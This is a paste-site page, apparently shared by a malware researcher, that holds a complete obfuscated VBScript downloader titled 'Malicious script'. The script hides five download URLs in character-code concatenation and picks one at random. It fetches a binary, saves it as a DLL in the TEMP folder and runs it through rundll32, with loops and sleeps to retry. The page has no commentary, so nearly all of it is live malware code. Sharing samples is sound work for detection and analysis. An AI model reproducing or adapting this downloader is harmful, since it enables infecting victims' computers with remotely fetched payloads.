dynamoo icon

Malicious script

dynamoo | PRO | 10/27/16 09:31:47 AM UTC | 0 ⭐ | 1864 👁️ | Never ⏰ | []
VBScript |

7.49 KB

|

None

|

0 👍

/

0 👎

On Error Resume Next
Const Lb8 = 1, DFm = 2, SUo8 = 8
Const GUc = 1, Yp = 2, TLy = 2
Const Hp0 = "437"
Function VKr1(Mo)
Dim HAq8(255), QXn5, OJj2
HAq8(128)=199
HAq8(129)=252
HAq8(130)=233
HAq8(131)=226
HAq8(132)=228
HAq8(133)=224
HAq8(134)=229
HAq8(135)=231
HAq8(136)=234
HAq8(137)=235
HAq8(138)=232
HAq8(139)=239
HAq8(140)=238
HAq8(141)=236
HAq8(142)=196
HAq8(143)=197
HAq8(144)=201
HAq8(145)=230
HAq8(146)=198
HAq8(147)=244
HAq8(148)=246
HAq8(149)=242
HAq8(150)=251
HAq8(151)=249
HAq8(152)=255
HAq8(153)=214
HAq8(154)=220
HAq8(155)=162
HAq8(156)=163
HAq8(157)=165
HAq8(158)=8359
HAq8(159)=402
HAq8(160)=225
HAq8(161)=237
HAq8(162)=243
HAq8(163)=250
HAq8(164)=241
HAq8(165)=209
HAq8(166)=170
HAq8(167)=186
HAq8(168)=191
HAq8(169)=8976
HAq8(170)=172
HAq8(171)=189
HAq8(172)=188
HAq8(173)=161
HAq8(174)=171
HAq8(175)=187
HAq8(176)=9617
HAq8(177)=9618
HAq8(178)=9619
HAq8(179)=9474
HAq8(180)=9508
HAq8(181)=9569
HAq8(182)=9570
HAq8(183)=9558
HAq8(184)=9557
HAq8(185)=9571
HAq8(186)=9553
HAq8(187)=9559
HAq8(188)=9565
HAq8(189)=9564
HAq8(190)=9563
HAq8(191)=9488
HAq8(192)=9492
HAq8(193)=9524
HAq8(194)=9516
HAq8(195)=9500
HAq8(196)=9472
HAq8(197)=9532
HAq8(198)=9566
HAq8(199)=9567
HAq8(200)=9562
HAq8(201)=9556
HAq8(202)=9577
HAq8(203)=9574
HAq8(204)=9568
HAq8(205)=9552
HAq8(206)=9580
HAq8(207)=9575
HAq8(208)=9576
HAq8(209)=9572
HAq8(210)=9573
HAq8(211)=9561
HAq8(212)=9560
HAq8(213)=9554
HAq8(214)=9555
HAq8(215)=9579
HAq8(216)=9578
HAq8(217)=9496
HAq8(218)=9484
HAq8(219)=9608
HAq8(220)=9604
HAq8(221)=9612
HAq8(222)=9616
HAq8(223)=9600
HAq8(224)=945
HAq8(225)=223
HAq8(226)=915
HAq8(227)=960
HAq8(228)=931
HAq8(229)=963
HAq8(230)=181
HAq8(231)=964
HAq8(232)=934
HAq8(233)=920
HAq8(234)=937
HAq8(235)=948
HAq8(236)=8734
HAq8(237)=966
HAq8(238)=949
HAq8(239)=8745
HAq8(240)=8801
HAq8(241)=177
HAq8(242)=8805
HAq8(243)=8804
HAq8(244)=8992
HAq8(245)=8993
HAq8(246)=247
HAq8(247)=8776
HAq8(248)=176
HAq8(249)=8729
HAq8(250)=183
HAq8(251)=8730
HAq8(252)=8319
HAq8(253)=178
HAq8(254)=9632
HAq8(255)=160
s = ""
For OJj2 = 0 To UBound(Mo)
If Mo(OJj2) < 0 Or Mo(OJj2) > 255 Then
Err.Raise 50003, "", "a2s()", "", 0
ElseIf Mo(OJj2) >= 128 Then
QXn5 = QXn5 & ChrW(HAq8(Mo(OJj2)))
Else
QXn5 = QXn5 & ChrW(Mo(OJj2))
End If
Next
VKr1 = QXn5
End Function
Function Pp3(ISj)
Dim Gg0, TMr3, QXn5
Set Gg0 = CreateObject("ADODB.Stream")
Gg0.type = Yp
Gg0.Charset = Hp0
Gg0.Open
Gg0.LoadFromFile ISj
QXn5 = Gg0.ReadText
Gg0.Close
Pp3 = SOk8(QXn5)
End Function
Sub XTk(ISj, Mo)
Dim Gg0, QXn5
Set Gg0 = CreateObject("ADODB.Stream")
Gg0.type = Yp
Gg0.Charset = Hp0
Gg0.Open
QXn5 = VKr1(Mo)
Gg0.WriteText QXn5
Gg0.SaveToFile ISj, TLy
Gg0.Close
End Sub
Function IQm(Ks)
Dim QXn5, No(0)
If Ks <= 0 Then
Err.Raise 50001, "", "makearrr()", "", 0
ElseIf Ks = 1 Then
IQm = No
Else
QXn5 = Space(Ks-1)
IQm = Split(QXn5, " ")
End If
End Function
Function MCf7(url)
Dim Kf1, Gs, TMr3, OJj2
Dim KCq, Aq9(1)
Set Kf1 = CreateObject("Scripting.FileSystemObject")
Aq9(0) = "WinHttp.WinHttpRequest.5.1"
Aq9(1) = "MSXML2.XMLHTTP"
For Each KCq in Aq9
Err.Clear
Set Gs = CreateObject(KCq)
If Err.Number = 0 Then
Exit For
End If
Next
Gs.Open "GET", url, False
Gs.Send
TMr3 = IQm(LenB(Gs.ResponseBody))
For OJj2 = 1 To LenB(Gs.ResponseBody)
TMr3(OJj2-1) = AscB(MidB(Gs.ResponseBody, OJj2, 1))
Next
MCf7 = TMr3
End Function
Function UPx6()
Dim Ov8, ESx, VBd1
Set Ov8 = CreateObject("WScript.Shell")
Set ESx = Ov8.Environment("System")
VBd1 = ESx("PROCESSOR_ARCHITECTURE")
If LCase(VBd1) = "amd64" Then
UPx6 = Ov8.ExpandEnvironmentStrings("%SystemRoot%\SysWOW64\rundll32.exe")
Else
UPx6 = Ov8.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll32.exe")
End If
End Function
Sub Ye3(VPs, FZb1, Ta7)
Dim Ov8, Kf1, Rp3, Zb0, Bn2
Set Ov8 = CreateObject("WScript.Shell")
Set Kf1 = CreateObject("Scripting.FileSystemObject")
Set Rp3 = Kf1.GetFile(VPs)
Zb0 = Rp3.ShortPath
Bn2 = UPx6() + " " + Zb0 + "," + FZb1 + " " + Ta7
If 2 > 1 Then
Ov8.Run(Bn2)
End If
End Sub
Function DAk9(VPs)
Dim Kf1
Set Kf1 = CreateObject("Scripting.FileSystemObject")
DAk9 = Kf1.FileExists(VPs)
End Function
Function MWp(VPs)
Dim Kf1, Rp3
Set Kf1 = CreateObject("Scripting.FileSystemObject")
Set Rp3 = Kf1.GetFile(VPs)
MWp = Rp3.ShortPath
End Function
Function Ff3(Bg, Mq7)
Dim Ks
Ks = CDbl(Int(CDbl(Bg)/CDbl(Mq7)))
Ff3 = CDbl(Bg) - Ks * CDbl(Mq7)
End Function
Function MIv4(IUj, QXn5)
QXn5(0) = 171 * QXn5(0) Mod 30269
QXn5(1) = 172 * QXn5(1) Mod 30307
QXn5(2) = 170 * QXn5(2) Mod 30323
Dim SOz3
SOz3 = Ff3((CDbl(QXn5(0))/30269.0 + CDbl(QXn5(1))/30307.0 + CDbl(QXn5(2))/30323.0), 1.0)
MIv4 = Int(SOz3 * CDbl(IUj))
End Function
Function Kz5(TMr3, CLn)
Dim Yr(2), DLs6, BVp, Pa0, OJj2
If UBound(TMr3) < 3 Then
Err.Raise 50004, "", "size of array muzt be >= 4", "", 0
End If
DLs6 = IQm(UBound(TMr3) - 3)
Yr(0) = CLn(0)
Yr(1) = CLn(1)
Yr(2) = CLn(2)
For OJj2 = 0 To UBound(TMr3)
TMr3(OJj2) = TMr3(OJj2) Xor MIv4(256, Yr)
Next
BVp = TMr3(UBound(TMr3)-3)+(TMr3(UBound(TMr3)-2)*256)+(TMr3(UBound(TMr3)-1)*256*256)+(TMr3(UBound(TMr3))*256*256*256)
Pa0 = ZBk2
For OJj2 = 0 To UBound(DLs6)
DLs6(OJj2) = TMr3(OJj2)
Pa0 = (Pa0 + TMr3(OJj2)) Mod 1000000000
Next
If Pa0 <> BVp Then
Err.Raise 50005, "", "checksum error", "", 0
End If
Kz5 = DLs6
End Function
Function LLq(Ke4)
LLq = CInt(Ke4*Rnd())
End Function
Sub RTr1(Dc)
WScript.Sleep(Dc)
End Sub
Randomize
Dim WAz(2), ZBk2, YAz(4), ISj
WAz(0) = 25482
WAz(1) = 2072
WAz(2) = 22148
ZBk2 = 32
YAz(0)=cHr(104) & cHr(116) + cHr(116) & cHr(112) + cHr(58) + cHr(47) + cHr(47) + cHr(97) + "c" + cHr(116) & cHr(105) + cHr(111) & cHr(110) & cHr(111) & cHr(110) + cHr(115) & "p" & cHr(111) + cHr(114) + cHr(116) & cHr(115) + cHr(46) & cHr(99) + cHr(111) & cHr(109) & cHr(47) + cHr(107) + cHr(113) + "0" + cHr(117) + "9" + "3" & cHr(97) + cHr(49)
YAz(1)=cHr(104) + "t" + cHr(116) & "p" + cHr(58) + "/" & cHr(47) + cHr(100) & cHr(109) & cHr(116) & cHr(121) & cHr(97) + cHr(46) + cHr(114) + "u" + cHr(47) + cHr(109) + cHr(112) & "o" + "z" + cHr(99) & "e" + cHr(117)
YAz(2)="h" & cHr(116) + cHr(116) & "p" + cHr(58) + "/" + cHr(47) + cHr(99) + "a" & cHr(108) & cHr(108) + cHr(105) & cHr(100) + "e" & "o" & cHr(46) + cHr(102) + cHr(114) & cHr(47) & "m" + cHr(115) + "n" + "9" & "a" + cHr(114)
YAz(3)=cHr(104) & cHr(116) & cHr(116) & cHr(112) + cHr(58) & cHr(47) + cHr(47) & cHr(102) & cHr(108) & cHr(117) & cHr(116) + cHr(121) & "g" & "o" & cHr(121) + cHr(46) & cHr(110) & cHr(101) + cHr(116) + cHr(47) & cHr(56) + cHr(50) & cHr(111) + cHr(107) + "z" + cHr(122) + cHr(107) & cHr(113)
YAz(4)=cHr(104) + cHr(116) + "t" + "p" & cHr(58) & cHr(47) + "/" + cHr(116) + "h" + "e" + cHr(97) + cHr(116) + cHr(111) + "s" + cHr(99) + cHr(46) & cHr(110) + cHr(101) & cHr(116) + cHr(47) + cHr(56) + cHr(106) + cHr(51) & cHr(119) & cHr(109)
ISj = "e134dkdCXFS"
Dim Ov8, Yl8, TKh, Rd
Set objShell = CreateObject("WScript.Shell")
Yl8 = objShell.ExpandEnvironmentStrings("%" & "TEMP%")
TKh = Yl8 & "\" & ISj & ".dll"
Dim VZx1, EYi7, Bd, Hp, OJj2
EYi7 = False
For OJj2=0 To 10: Do
If DAk9(TKh) Then
Rd = MWp(TKh) & ".txt"
If DAk9(Rd) Then
WScript.Quit(0)
End If
End If
If Not EYi7 Then
VZx1 = LLq(UBound(YAz))
Bd = MCf7(YAz(VZx1))
If Err.Number <> 0 Then
Exit Do
End If
Hp = Bd  ' Kz5(Bd, WAz)
If Err.Number <> 0 Then
Exit Do
End If
XTk TKh, Hp
If Err.Number <> 0 Then
Exit Do
End If
EYi7 = True
End If
Ye3 TKh, "EnhancedStoragePasswordConfig", "147"
RTr1 24999
Loop While False: Next
If 2=2 Then
WScript.Quit(1)
End If

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎